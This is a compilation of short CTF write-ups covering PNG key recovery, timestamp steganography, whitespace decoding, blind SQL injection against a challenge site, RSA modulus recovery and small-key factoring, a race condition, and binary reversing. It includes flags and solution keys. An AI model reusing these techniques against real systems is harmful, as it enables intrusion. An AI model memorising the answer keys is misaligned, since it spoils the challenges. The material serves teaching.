function assemble_png(u_in){ var LEN = 16; var key = "0000000000000000"; var shifter; if(u_in.length == LEN){ key = u_in; } var result = []; for(var i = 0; i < LEN; i++){ shifter = key.charCodeAt(i) - 48; for(var j = 0; j < (bytes.length / LEN); j ++){ result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i] } } while(result[result.length-1] == 0){ result = result.slice(0,result.length-1); } document.getElementById("Area").src = "data:image/png;base64," + btoa(String.fromCharCode.apply(null, new Uint8Array(result))); return false;}```We note the AJAX query for `bytes`. Accessing `https://2019shell1.picoctf.com/problem/37826/bytes` gives us a large array of [bytes](bytes.txt) represented as integers. We also read the code to see that `bytes` is treated as a 2D array with 16 columns; each column is shifted by the corresponding value in `key`. (For instance, if the third digit in `key` is `7`, then the third column is shifted down by `7`). We can write a python script to help visualize this:
```pythondef tohex(a): return "{:02x}".format(a)
f = open("bytes.txt", "r")bytelist = map(int, f.read().split(" "))f.close()
key = "0000000000000000"result = [0 for x in bytelist]SIZE = 16for i in range(SIZE): shift = ord(key[i]) - 48 for j in range(len(result) / SIZE): result[(j*SIZE + i)] = bytelist[(((j+shift)*SIZE) % len(bytelist)) + i]
for i in range(len(result) / SIZE): print ' '.join(map(tohex, result[i*SIZE:(i+1)*SIZE]))```As output, we get:```35 48 9b 0e 0c 0a b7 0a f8 17 fd 0c fc 00 00 4e1b 9f e1 74 82 00 72 72 e6 c0 c5 81 7f 48 44 0017 4a ef cc 0d 49 00 41 f1 1d 00 21 17 c0 5f 5244 97 93 1b 00 24 1a 1b f6 fe 00 54 00 4d 6e 6c89 13 6f 60 4c 44 01 e5 00 23 00 8b 00 06 39 9c00 4b fa 47 05 bd 44 20 00 31 00 00 49 43 e3 52a4 8f 99 72 03 14 2f 88 01 e2 9c 00 00 ea 17 c840 6b 3c 02 1d ab 82 8e 54 00 c8 0d 9b f1 e2 30ae ae 42 5f f8 5b 5a e4 c9 00 97 00 e0 cc ac dfc2 50 4e 99 33 7f 0e 3f 48 00 45 ed 75 bd 40 7be2 00 01 31 e6 00 fd 31 18 00 5e 51 6f a1 ec b2e3 00 00 fc 9e be 92 1f 17 78 99 45 78 8c 37 a7a2 10 85 0d cf b4 b4 e2 75 07 e5 49 cc a0 1d 6b47 06 47 4f ce 04 64 1f 08 a0 e6 bc e2 08 60 011a 96 99 e4 7f 09 d9 aa e2 be ff 1f 18 e6 bf 0200 33 36 cc 54 c4 3f 13 7d 2f f2 dd 7f b0 78 f8f6 2d 5a 9c e5 c5 c2 98 f1 93 a7 a7 67 87 a6 fb80 3f e2 90 9f 97 79 98 bf a0 af c5 1b e4 58 020f 45 92 06 ff 88 ff 24 bf 4f 6f 24 ae 7f f1 91fc 18 cc 99 8e 1d 1f 82 61 5d 53 c4 04 c0 d2 07f7 eb c2 c4 a8 1a 7d f4 a1 e7 b1 40 09 c7 af b71c 58 ec 3d a2 37 96 dd 0f c6 d5 2f 02 78 d9 ffc6 e9 95 61 fc 55 e1 d5 e3 9b b4 f9 cd 23 1d 5244 f1 83 82 f5 bb bf bd 5a bf b1 e0 18 92 f0 a40b 5c 7f f2 0d 4c 56 37 ba 43 07 5f a2 c5 e5 aafa d1 7b 61 85 f1 52 b6 84 3f 7c aa 88 59 ef 4e6f 2b 02 e7 b7 ec a1 35 a4 08 79 c9 39 41 b7 31bf 68 ab d2 7f d3 7e bb 7b ef 57 ec b7 82 77 7233 1e d9 d6 79 ab 07 b5 d5 c8 7a 35 e9 d2 b7 26bd a4 6f f9 19 c4 62 28 1f 9c cf 6d 95 5b 22 440c 16 ca cd 5b e0 e8 67 c9 34 8e dd 33 7c 9e 9f7d 79 7c 42 34 27 14 e7 3e a9 b0 57 1f 9f 91 7c3e e5 f2 33 af c1 f9 45 eb 80 a7 02 be be 7a 2dd5 f1 a2 6e ed 9a 5b f3 31 05 ea 07 e9 ac 0c be99 5e 5e 13 f5 23 4b 64 5a e8 2e 8e 99 96 1c bc39 e5 e7 ea bc 2e ff 7f e9 04 1e 33 ef 49 57 17d5 0b e3 4a f9 ee f2 e7 bd aa ff 6f af 86 00 dae9 89 37 ca 7f 90 fe 64 fd 5d 5b 9f a5 f6 fe 00db 5f 60 e1 bf 7d 94 78 ff a0 01 d3 02 c4 9f a417 92 74 37 21 b4 c6 95 be 5b 24 9e 3f 7f 02 c453 76 eb de f4 00 c0 00 fb 4d fe 97 8a 49 45 ff```If instead the key were to be `0070000000000000`, the third _column_ would begin with `3c, 42, 4e, 01`, etc.
From here, the key observation to make is that this data must represent a PNG image; we also know that a PNG must begin with the following header:```89 50 4e 47 0d 0a 1a 0a```Based on this alone, we can find that the first half of the key is `49952030`, which rotates the columns to get the header to be correct. Furthermore, we know that this header must be immediately followed by an `IHDR` chunk, which always has length `0d`. Thus, our first row must look like:```89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52```We can thus quickly find that the correct key must be of the form `49952030???75112`. The three `?`s are there because the corresponding byte (`00`) has multiple possible values (`4,5,6` for the first, `7,8,9` for the second (we can't have the two-digit `10`), and `2,3,4,5` for the third). We could brute force these possibilites, but we can reduce our search space by look at the second row. By the [spec](http://www.libpng.org/pub/png/spec/1.2/PNG-Chunks.html), this corresponds to the content of the `IHDR` chunk, which must look like:```Width: 4 bytesHeight: 4 bytesBit depth: 1 byteColor type: 1 byteCompression method: 1 byteFilter method: 1 byteInterlace method: 1 byte```Let's see what the three `?`s must be:
- The first `?` must make the `bit depth` valid (1, 2, 4, 8, 16); the only way we can do this is having the first `? = 5`.- The second `?` must make the `color type` valid (0, 3 based on the `bit depth`); we must have the second `? = 7,8,9`.- The third `?` must make the `compression method` valid (0 is the only one allowed); we must have the third `? = 2,3,4`.
With only nine possibilites left, we can simply brute force the possible keys: `4995203057275112`, `4995203057375112`, `4995203057475112`, `4995203058275112`, `4995203058375112`, `4995203058475112`, `4995203059275112`, `4995203059375112`, `4995203059475112`. The last one gives us a QR code:

The QR [decodes](https://zxing.org/w/decode.jspx) to the flag:
> `picoCTF{b7794daf95ade3c353aa8618c3a7e2c6}` |
# B1g_Mac
> Here's a [zip file](b1g_mac.zip). You can also find the file in `/problems/b1g-mac_0_ac4b0dbedcd3b0f0097a5f056e04f97a`.
Inside the given zip file, we find a windows binary `main.exe` and a folder named `test` with 18 bitmap images inside. We suspect that the images contain some sort of data encoded by `main.exe`, so our first goal is to reverse this binary. Ghidra was quite useful in this process, and we can make out for the most part what the program is doing from it alone. However, it fails to identify certain functions (calling them `.text`), so we can also use Ollydbg to figure out what these function are (`sprintf`, `printf`, etc.).```cbool _isOver;int _pLevel;char _folderName [8];
int _main() { char buf [50]; FILE* flagfile; _isOver = 0; _pLevel = 0; flagfile = fopen("flag.txt","r"); if (flagfile == NULL) { puts("No flag found, please make sure this is run on the server"); } if (fread(buf,1,18,flagfile) < 1) { exit(0); } _folderName = "./test" _flag = buf; _flag_size = 18; int i = 0; _flag_index = &i; puts("Work is done!"); _listdir(0,_folderName); puts("Wait for 5 seconds to exit."); sleep(5); return 2;}
void _listdir(int mode, char* folderName) { char buf [2048]; _WIN32_FIND_DATAA file_data; HANDLE file_handle; file_handle = NULL; bool shouldAct = true; sprintf(buf, "%s\\*.*", folderName); file_handle = FindFirstFileA(buf, &file_data); if (file_handle == -1) { printf("Path not found: [%s]\n", folderName); } else { do { if (strcmp(file_data.cFileName,".") != 0 && strcmp(file_data.cFileName,"..") != 0) { sprintf(buf,"%s\\%s",folderName,file_data.cFileName); if ((file_data.dwFileAttributes & 0x10) == 0) { if (shouldAct) { // Note: mode is always 0, so _hideInFile is always called if (mode == 0) { _hideInFile(buf); } else if (mode == 1) { _decodeBytes(buf); } } shouldAct = !shouldAct; } else { printf("Folder: %s\n",buf); hideindir(mode,buf); } } if (_isOver) break; FindClose(file_handle); } while (FindNextFileA(file_handle,&file_data)); } }
void _hideInFile(char* filename) { LPFILETIME creation_time, last_access_time, last_write_time; char tmp1, tmp2; HANDLE file_handle; file_handle = CreateFileA(filename,0x100,0,NULL,3,0,NULL); changeFileTime(file_handle); if (file_handle == -1) { printf("Error:INVALID_HANDLED_VALUE"); } else { if (!GetFileTime(file_handle,&creation_time,&last_access_time,&last_write_time)) { printf("Error: C-GFT-01"); } else { tmp1 = _flag[*_flag_index]; (*_flag_index) ++; tmp2 = _flag[*_flag_index]; (*_flag_index) ++; _encodeBytes(tmp1, tmp2, &last_write_time); // Note: _pLevel is always 0, so the below can two blocks have no effect if (0 < _pLevel) { tmp1 = _flag[*_flag_index]; (*_flag_index) ++; tmp2 = _flag[*_flag_index]; (*_flag_index) ++; _encodeBytes(tmp1, tmp2, &creation_time); } if (_pLevel == 2) { tmp1 = _flag[*_flag_index]; (*_flag_index) ++; tmp2 = _flag[*_flag_index]; (*_flag_index) ++; _encodeBytes(tmp1, tmp2, &last_access_time); } if (!SetFileTime(file_handle,&creation_time,&last_access_time,&last_write_time)) { printf("Error: C-SFT-01"); } else { if (_flag_size <= *_flag_index) { _isOver = true; } CloseHandle(file_handle); } } }}void _encodeBytes(char c1, char c2, unsigned int* target) { *target = (*target & 0xffff0000) + c2 + c1*0x100;}void changeFileTime(HANDLE file) { SetFileTime(file,NULL,_ftLeaveUnchanged,NULL);}
void _decodeBytes(char* filename) { // we don't actually need to reverse this function because it isn't used}```There are several Windows API functions that we might not be familiar with: [`FindFirstFileA`](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-findfirstfilea), [`FindNextFileA`](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-findnextfilea), [`CreateFileA`](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea), [`CloseHandle`](https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle), [`GetFileTime`](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getfiletime), and [`SetFileTime`](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-setfiletime). The first two allow iteration through files in a directory. The third and fourth are essentially eqiuvalent to `fopen` and `fclose`, but return a type `HANDLE`, which allows for other I/O operations to be performed. In particular, `GetFileTime` and `SetFileTime` allow (via a `HANDLE` type) the reading and writing of a file's creation time, last access time, and last write time. We suspect that the data is encoded into these file times.
Reading the code confirms our suspicion. For each file in the directory `./test` (actually, every other file, and thus only the `'Copy'` files), two bytes of ASCII are written into the least significant two bytes of the last write time. We also should note the datatype being used, [`FILETIME`](https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-filetime). This datatype represents the number of `100` nanosecond intervals since January 1, 1601 UTC, also known as the [LDAP format](https://www.epochconverter.com/ldap).
To actually extract this data, we have to be careful not to inadvertantly change the file times in the zip. On Windows, we can use `7-zip` to open and extract these files without modifying their file times. Actually viewing the times to the precision we need is quite an annoyance, however. The Windows `Properties` dialogue rounds to the nearest minute; `7-zip` rounds to the nearest second. We need to see microsecond-level precision. To solve this, we can use the `stat` command in the [Cygwin](https://cygwin.com/) shell. (There are certainly [other ways](https://superuser.com/a/937401/) to get the file time resolution we need, but this one worked simply and quickly). For instance:
```$ stat 'Item 01 - Copy.bmp'...Modify: 2019-03-25 18:20:08.002775300 -0500...```If we convert this into an integer in the LDAP format, we get `131980296080027753`, or `0x1d4e36149337069`. Aha! Those last two bytes are `pi` in ASCII. We continue this process on all of the `'Copy'` files and concatenate them to get our flag:
> `picoCTF{M4cTim35!}` |
# Introduction
The given URL leads us to a classic [sliding 15-puzzle](https://en.wikipedia.org/wiki/Sliding_puzzle) with a nice material UI. At the bottom we see an "Auto Play" checkbox, and counters for the amount of moves and tiles left, all of which are not interesting for the challenge.
# Dive in
Looking at the source of the page, I saw a minimal HTML markup and a huge 1.5 MB JavaScript file. I quickly deduced that the JS file originated from Dart code, and the used framework is Flutter. The JS file is huge, minified and ugly, feels a bit like looking at assembly code. I didn't find any "decompilers" for Dart of Flutter, so I moved on.
# Fiddler
Trying to avoid the horror of the JS file, I moved to inspecting the HTTP traffic. The first API that is being used at page load is: `/api/new_game?width=4&height=4`, which returns the initial board state. To see what happens next, I replaced the response with an almost-finished board, then completed the game. What happened next is that I got the following message: "Invalid answer, you must be cheating!". Fair enough, but now I know that the request is sent to: `/api/verify`, and includes the moves I made.
# Solving the puzzle
To proceed further, it looks like I need to solve the puzzle. Looking at several solvers around the internet, I finally used the [15418Project](https://github.com/GuptaAnna/15418Project) project, which was sufficiently fast and convenient. After solving the puzzle, I got a "Congratulations!" response from the server, along with a large base64-encoded binary blob. Mystery.
# Back to the UI
Next I replaced both API responses (`new_game` and `verify`) to see how the UI proceeds once the puzzle is solved. What happens is that I'm asked to submit my name, and once I do that, a high score table is displayed. So what do I do now? Where's the flag? All I had is that huge mysterious data blob.
# The huge mysterious data blob
Next thing I wanted to figure out is where that data blob is being used. Since the data blob came base64-encoded, I decided to put breakpoints on base64 decoding function candidates. I don't remember how I found the relevant base64-decoding function, but it's the one with the "Missing padding character" string inside it. In any case, once I stepped out of the base64-decoding function, I landed on a function which ends with a condition and the string "Congratulations again on you-know-what!". That was a strong hint that the condition better be satisfied.
# The condition
I won't elaborate - you can look at the code - but the condition is satisfied only if the name you submitted is the flag :) It boils down to a systems of linear equations, which can be solved to get the desired name, which is the flag. I used numpy to solve it.
# Code
A quick and dirty script can be found [here](https://github.com/m417z/CTFs/blob/master/2019%20Real%20World%20CTF%20Quals/Slide%20Puzzle/solver.py). |
# Invisible Programming
We're given a file `hello_world.cpp`, which doesn't even print `Hello World!` at all!
<details> <summary>hello_world.cpp</summary> ``` #include <iostream> using namespace std; int main () { cout <<"The flag is d4rk{You_thought_this_will_be that_much_easy}c0de\n"; return 0; }
``` </details>
There's a flag in plain sight, but alas it was not so easy.
There seems to be many redundant spaces and tabs, as well as 40 lines of line feed after the code. What could this mean?
After googling a bit, it seems to resemble WhiteSpace esolang.
Trying to execute it throws some syntax errors, so I quickly gave up on that.
I wrote a script to parse the spaces and tabs as binary, like this:
```function decoder(str) { var flag = '';
str.replace(/.{7}/g, function (strByte) { var binStr = strByte.replace(/ /g, '0').replace(/ /g, '1'); var charCode = parseInt(binStr, 2); result += String.fromCharCode(charCode); });
return flag;}```
And then ran it in my browser's console, getting `&3t_hav_m_fun_wth_whtepac}cde`
It seems to be missing some numbers as well as the start of the flag, so lets optimize the `hello_world.cpp` by deleting irrelevant characters.
We get `d49k}Sft_hav_m_fun_wth_whtepac}cde`.
By comparing the two strings, it seems to be saying `Let's have some fun with whitespaces", so let's bruteforce the flag.
And there we go! After substituting in the numbers, we have the flag:
<details> <summary>FLAG</summary> `d4rk{L3t'5_hav3_50m3_fun_w1th_wh1te5pac35}c0de` </details> |
>Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. https://2019shell1.picoctf.com/problem/37779/ Can you first find the secret code they assigned to you? or http://2019shell1.picoctf.com:37779
We're given a flask application, so naturally the first thing I try to input is {{config}}, as they want us to find the secret key.

Doesn't work. We need a different approach, as SSTI does not work at all.
Attempting a bit of sqli, we get an error

So we know that this is a blind sql injection challenge. After trying a lot of things, we finally strike something.

After doing a bit of guessing with the databases, we get the secret.

To view all of the secrets, we can do a simple group_concat
 |
# Error log
## OSINT - Points: 200
> Something doesn't look right here.>> [motor-log.txt](motor-log.txt)
The error log contains various entries that state to check interface numbers, where the numbers look like characters in octal representation, so converting them to ASCII gives the flag.
flag: `{the-motor-needs-to-be-replaced!}` |
# Java Script Kiddie 2
> The image link appears broken... twice as badly... https://2019shell1.picoctf.com/problem/37897 or http://2019shell1.picoctf.com:37897> Hints: This is only a JavaScript problem.
This problem is very similar to [Java Script Kiddie](/problems/Java-Script-Kiddie), so we recommend reading that writeup first. Just like the previous one, we have a textbox and a submit button. The javascript is slightly different:
```jsvar bytes = [];$.get("bytes", function(resp) { bytes = Array.from(resp.split(" "), x => Number(x));});
function assemble_png(u_in){ var LEN = 16; var key = "00000000000000000000000000000000"; var shifter; if(u_in.length == key.length){ key = u_in; } var result = []; for(var i = 0; i < LEN; i++){ shifter = Number(key.slice((i*2),(i*2)+1)); for(var j = 0; j < (bytes.length / LEN); j ++){ result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i] } } while(result[result.length-1] == 0){ result = result.slice(0,result.length-1); } document.getElementById("Area").src = "data:image/png;base64," + btoa(String.fromCharCode.apply(null, new Uint8Array(result))); return false;}```The AJAX query for [`bytes`](bytes.txt) is identical, although the data is obviously different. The rest of the program is nearly the same in that `bytes` is used as a 2D array with 16 columns. However, we notice the key is twice as long: the key now takes two digits for each column to determine how much to shift. We can write a similar python script for visualization purposes:
```pythondef tohex(a): return "{:02x}".format(a)
f = open("bytes.txt", "r")bytelist = map(int, f.read().split(" "))f.close()
key = "00000000000000000000000000000000"result = [0 for x in bytelist]SIZE = 16for i in range(SIZE): shift = int(key[i*2:(i+1)*2]) for j in range(len(result) / SIZE): result[(j*SIZE + i)] = bytelist[(((j+shift)*SIZE) % len(bytelist)) + i]
for i in range(len(result) / SIZE): print ' '.join(map(tohex, result[i*SIZE:(i+1)*SIZE]))```Just as in the previous problem, we must have the first row look like this:```89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52```Additionally, we can use the constraints of the second row as in the previous problem. Thus, we determine the key will be of the form `010600050109030600AABB0101050600` where `AA = 06,07` and `BB = 04,05`. By testing each of the four options, we find that the key is `01060005010903060007050101050600`, which gives us the following QR code:

The QR [decodes](https://zxing.org/w/decode.jspx) to the flag:
> `picoCTF{9064bc1bb5f8b7bd526686a311bfc18c}` |
# Lost key (crypto, 334p, 10 solved)
Unfortunately we were unable to finish this task, but we managed to get the first part - recovery of `N`, and just for future reference we're include this part in a writeup.
## Overview
In the task we get [source code](chall.py).We can connect to a service and we get back RSA encrypted flag.We can also send our own payload and get it encrypted as well.Our payload has restricted length and always includes prefix `X: `.
## General approach
The general method for recovering `N` in such case, is to obtain some multiples of `N` and calcuate their GCD.If we had total control over the payload we could simply ask for encryption of `A` and of `A^2` and calculate `(A^e mod N)^2 - ((A^2)^e mod N)`.Such difference, by definition, has to be a multiple of `N`, because you can shift the exponentiation order and move modulo:
```(A^e mod N)^2 mod N = (A^e)^2 mod N = (A^e mod N)^2 mod N = (A^e)^2 mod N = (A^2)^e mod N````
So if we apply `mod N` to `(A^e mod N)^2` we should get the same value as in `((A^2)^e mod N)` therefore it has to be `((A^2)^e mod N) + k*N` and if we subtract `((A^2)^e mod N)` we'll get plain `k*N`.
However, we don't control the payload so much, it has the prefix!
## Modulus recovery
The idea for modulus recovery is just as above - we want to get from the server a pair of different ciphertexts which `mod N` would have the same value.Subtracting them will yield `k*N`.
We are going to leverage homomorphic property of textbook RSA:
```A^e mod N * B^e mod N = (A*B)^e mod N```
Let's assume we have 4 different values such that: `A*B = C*D` and each of those values is a valid plaintext with the appropriate prefix.
If we encrypt those values separately with textbook RSA and combine them the property will still hold, so:
```(A^e mod N * B^e mod N) mod N = (A*B)^e mod N(C^e mod N * D^e mod N) mod N = (C*D)^e mod N
and since
A*B = C*D
then
(A*B)^e mod N == (C*D)^e mod N```
However, the values `(A^e mod N) * (B^e mod N)` and `(C^e mod N) * (D^e mod N)` without applying the `mod N` operation on the product will not be the same!
This is exactly the property we're looking for.So the goal is to find values `A, B, C, D` we could use.
The idea we came up with is to create each one of them as a combination of 2 other values in a way that:
```A = x*yB = z*vC = x*vD = y*z```
This way obviously `A*B = x*y*z*v = C*D`.
Now we need to make sure each of the values matches the prefix.In order to do that we figured we can factor the prefix into primes, and then create `x,y,z,v` as combination of some factors, so that each of `A, B, C, D` will contain full set of factors.
Of course values `A, B, C, D` have to be different, so we need to include also some random padding at the end of each of them:
```python prefix = bytes_to_long("X: ") factors, _ = factor(prefix) random.shuffle(factors) base1 = multiply(factors[:len(factors) / 2]) base2 = multiply(factors[len(factors) / 2:]) assert base1 * base2 == prefix```
Now with those base values we can do:
```python shift = 5 x = base1 * 256 ** shift + 0 y = base2 * 256 ** shift + 0 z = base1 * 256 ** shift + 1 v = base2 * 256 ** shift + 1
A = x * y B = z * v C = x * v D = y * z assert (A * B == C * D == x * y * z * v)```
And we have the plaintexts we wanted.Now we just need to encrypt them and calculate `(CTA * CTB) - (CTD * CTC)` to get a multiple of `N`.
After that the only thing left is to calculate gcd over those values to recover `N`: `28152737628466294873353447700677616804377761540447615032304834412268931104665382061141878570495440888771518997616518312198719994551237036466480942443879131169765243306374805214525362072592889691405243268672638788064054189918713974963485194898322382615752287071631796323864338560758158133372985410715951157`
This value can easily be factored into:
```p = 531268630871904928125236420930762796930566248599562838123179520115291463168597060453850582450268863522872788705521479922595212649079603574353380342938159q = 52991530070696473563320564293242344753975698734819856541454993888990555556689500359127445576561403828332510518908254263289997022658687697289264351266523```
Unfortunately we were unable to recover `e` and finish the challenge.Solver for the described part is [here](modulus.py)
We only managed to come up with an idea that calculating modular sqrt can tell us the LSB of `e`, and it worked, we know it's a odd number :) |
tl;dr:1. Notice that gethostbyname2 is not thread safe and overwrites the results each time it's called2. Notice race condition between threads calling gethostbyname23. Block one thread on IPv6 request, and in the meantime overwrite the IPv4 address it will query later for localhost
Full writeup: https://github.com/p4-team/ctf/tree/master/2019-09-21-dragonctf/rms |
# john_pollard> Sometimes RSA [certificates](cert) are breakable
> Hints: The flag is in the format picoCTF{p,q}. Try swapping p and q if it does not work.
This question is pretty much reserach. After looking around for long enough for a tool to read the RSA certificates, we found that [``openssl``](http://www.gtopia.org/blog/2010/02/der-vs-crt-vs-cer-vs-pem-certificates/) can do the job. Running the command```openssl x509 -in cert -text -noout```will spit out all of the data necessary to reconstruct the RSA cryptosystem. Because the hint says that the flag will simply be the factored modulus, we only care about the following lines.``` Public Key Algorithm: rsaEncryption Public-Key: (53 bit) Modulus: 4966306421059967 (0x11a4d45212b17f) Exponent: 65537 (0x10001)```A public key that's only fifty-three bits is laughably brute-forcable by [online calculators](https://www.alpertron.com.ar/ECM.HTM) and even thirty seconds of python scripting.```python3>>> n = 4966306421059967>>> [(d, n//d) for d in range(1, int(sqrt(n))+1, 2) if n % d == 0][(1, 4966306421059967), (67867967, 73176001)]```Regardless of approach, we get a relatively painless flag.> ``picoCTF{73176001,67867967}`` |
## This is solutions of a problem "Problem: Crypto#1 “-.-”" from TAMUctf 19
# FilesAttachment flag.txt
# Problem statement
### Our coworker Bob loves a good classical cipher. Unfortunately, he also loves to send everything encrypted with these ciphers. Can you go ahead and decrypt this for me?
# Problem solution
The attached file "Attachment flag.txt" looks like a sequence of "dah", "di", "dit", "-", " ":
```dah-dah-dah-dah-dah dah-di-di-dah di-di-di-di-dit dah-dah-di-di-dit dah-dah-di-di-dit dah-dah-dah-dah-dah di-di-dah-dah-dah di-dah dah-di-di-di-dit dah-di-dah-dit di-di-di-di-dit dah-dah-dah-di-dit dah-dah-di-di-ditdi-di-di-di-dah di-di-di-di-dah dah-dah-di-di-dit di-di-di-di-dit di-dah-dah-dah-dah di-di-di-dah-dah dah-dah-dah-di-dit dah-di-di-di-dit di-di-di-di-dit di-di-di-dah-dah dah-dah-dah-di-dit dah-dah-di-di-dit di-dah-dah-dah-dah dah-di-di-di-dit dit dah-di-di-di-dit dah-di-dit di-di-di-di-dah dah-di-dit di-di-di-...```
When we try to google this sequence "dag-di-dit" we found that simbols is used for Morse code encryption, for example "A" is "di-dah", "B" is "dah-di-di-dit" etc.
### A piece of theory. Usually the Morse code is consist of "dots" = "." (for now called "dit") and "dash" line = "-" (for now called "dah").
In our case "di" is ".", "dah" is "-", "dit" is "di" before space. Let's encode the attached file using this Morse code. The full decode message is:
```0X57702A6C5874475138653871696D4D59552A737646486B6A49742A5251264A705A766A6D2125254B446B667023594939666B346455346C423372546F5430505A516D4351454B5942345A4D762A21466B386C25626A716C504D6649476D612525467A4720676967656D7B433169634B5F636C31434B2D7930755F683476335F6D3449317D20757634767A4B5A7434796F6D694453684C6D38514546695574774A4049754F596658263875404769213125547176305663527A56216A217675757038426A644949714535772324255634555A4F595A327A37543235743726784C40574F373431305149```
Due to the message starts from "0X" it might be Hexadecimal representation of the data. Using any decoder (for example https://gchq.github.io/CyberChef/) to decoder message text after "0X" we will get the next full message:
```Wp*lXtGQ8e8qimMYU*svFHkjIt*RQ&JpZvjm!%%KDkfp#YI9fk4dU4lB3rToT0PZQmCQEKYB4ZMv*!Fk8l%bjqlPMfIGma%%FzGgigem{C1icK_cl1CK-y0u_h4v3_m4I1} uv4vzKZt4yomiDShLm8QEFiUtwJ@IuOYfX&8u@Gi!1%Tqv0VcRzV!j!vuup8BjdIIqE5w#$%V4UZOYZ2z7T25t7&xL@WO7410QI```
### So, the flag is here: ```gigem{C1icK_cl1CK-y0u_h4v3_m4I1}``` |
# TokyoWesterns CTF 2019 - Easy Crack Me
* **Category:** reverse* **Points:** (dependant on solve time)
## Challenge
Only a single file is included easy_crack_me On running the program we see that we `./bin flag_is_here` so we need to input the flag as an argument.

## Solution/To practice our Ghidra skills lets use it, opening it up we find that thereAfter finding main and venturing to the code we see that we do need two arguments with the second stored locally. Then we have a couple compares, first is the check that the length is 0x27 characters or 39 in decimal. Then we check to see if the first 6 characters are 'TWCTF{' and that the last character is '}'

That means we have 32 characters to worry about. Moving onto the next stage we see a string being loaded into memory again with some loops after. The string appears to be the hex alphabet `0123456789abcdef` and the first loop increments 16 times, the same as the length of our new string in memory, then the second uses strchr, for those of you who do not know what this is all it does is return the memory location in the string where the first location of the character is found. So the second loop keeps going while the current character is found in our flag, if it is found we increment a counter on the stack offset by the current iteration of the first loop.

So now we take these counted up values on the stack and compare them to memory located at 0x400f00, if we go to this memory location and make it look nicer by converting all the data to dwords we see the pattern compared to

So this means that whatever we input we give the program expects to find each character this many times:```0:31:22:23:04:35:26:17:38:39:1a:1b:3c:1d:2e:2f:3```
Now we start to get to the fun parts.

Don't worry about my custom naming for the variables too much since they were temporary and not too helpful. So anyway, we have to more loops one with 8 iterations and the second with 4, so 32 total iterations. We see two math operations happening an add and a xor, the offset of 6 is to get past the `TWCTF{` and the `<<2` is to get the current set of 4 characters we are working with. So we see that every 4 characters are being added together and seperately xored together. Then stored locally again for use later on.

Next we have a very similar set up to the batch earlier except for one difference, `<<3` instead of `<<2`. This small difference changes every 4 characters into a group to every eigth character into a group, ie `7,15,23,31; 8,16,24,32; etc`. At least the same math operations are happening on these groups though.

Finally we have some compares for the data. As we can see we have 4 memcmp's happening, the first is for the first set of 4's being added together and this memory is stored at 0x400f40, then the second is also for the set of 4's being xored together and this memory is stored at 0x400f60. The next two they try to swap them on us and store the added values of every eigth character at 0x400fa0 and the xored at 0x400f80. So looking in memory we see the pattern needed for completion.

```All of the characters would normally be at index 6 or 7, but we are going to ignore the TWCTF for this section.Added together: 0+1+2+3=0x15e 4+5+6+7=0xda 8+9+10+11=0x12f 12+13+14+15=0x131 16+17+18+19=0x100 20+21+22+23=0x131 24+25+26+27=0xfb 28+29+30+31=0x102
0+8+16+24=0x129 1+9+17+25=0x103 2+10+18+26=0x12b 3+11+19+27=0x131 4+12+20+28=0x135 5+13+21+29=0x10b 6+14+22+30=0xff 7+15+23+31=0xff
Xored Together: 0^1^2^3=0x52 4^5^6^7=0xc 8^9^10^11=0x1 12^13^14^15=0xf 16^17^18^19=0x5c 20^21^22^23=0x5 24^25^26^27=0x53 28^29^30^31=0x58
0^8^16^24=0x1 1^9^17^25=0x57 2^10^18^26=0x7 3^11^19^27=0xd 4^12^20^28=0xd 5^13^21^29=0x53 6^14^22^30=0x51 7^15^23^31=0x51```
So now we have a rough idea of what everything should equal once it is in place.The next loop helps us narrow down what will go where with more precision.

Here this loop goes through the string and checks to see if the character is a `0-9`, `a-f`` or `else`, and if these the value 0xff, 0x80, 0x00 is set respectively. Then the memory is then checked at 0x400fc0 so we can get the list of character order.```charcharnumcharnumnumnumnumcharnumnumcharcharnumnumcharnumnumcharnumcharcharnumnumnumnumcharnumnumnumcharnum```Now we even know what the order of characters looks like.The next loop while loop checks every other character and makes sure that the total is equal to 0x488, but I forgot about this loop and didn't take it into consideration when I figured this out, So ...

Yeah, here we have a final check for specific characters in specific spots. So now we have a starting point also. Now to put all of this together you could have made a program to get it all done, but I did not think of a good way to do that, so I used an excel sheet and a simply python script to figure everything out.

I made a couple cells with all the math needed and all I needed to do was input the correct characters and find 0's accross the board and we are good to go. As for the python script all this does is print out all the possible combinations for each set of 4.

Here we can see that the first index is either a bdf, the third is 024, and the last is bdf. Now this isn't a glamorous way of doing this but after getting a list of all the possible characters for each they start to cancel each other out. On the excel image on the right side I have a list some of the possibilities, after a while everything just starts to come together. As long as you don't do anything stupid like deleting a possible solution causing you to mess up an hour later then having to start over. But who would do something stupid like that, haha.
## FlagAnyways, here's the flag:
```TWCTF{df2b4877e71bd91c02f8ef6004b584a5}``` |
## Smart Contract - simple sol aeg
The first challenge we're given is:
```Challenge 1/9:608060405260008060006101000a81548160ff02191690831515021790555034801561002a57600080fd5b5060ec806100396000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063c01b0d4814604e578063ea602fa6146062575b600080fd5b348015605957600080fd5b506060608e565b005b348015606d57600080fd5b50607460aa565b604051808215151515815260200191505060405180910390f35b60016000806101000a81548160ff021916908315150217905550565b60008060009054906101000a900460ff169050905600a165627a7a72305820e4049baf5929e28ad8f5bd556042853a60e8163c4427db9283c4e18c91459fab0029```
This has to do with [Solidity](https://solidity.readthedocs.io/en/v0.5.12/) -"an object-oriented, high-level language for implementing smart contracts""designed to target the Ethereum Virtual Machine (EVM)". The first step thus isto obtain a disassembler for EVM.
[pyevmasm](https://github.com/crytic/pyevmasm) looks like a good fit - let'scrack this thing open!
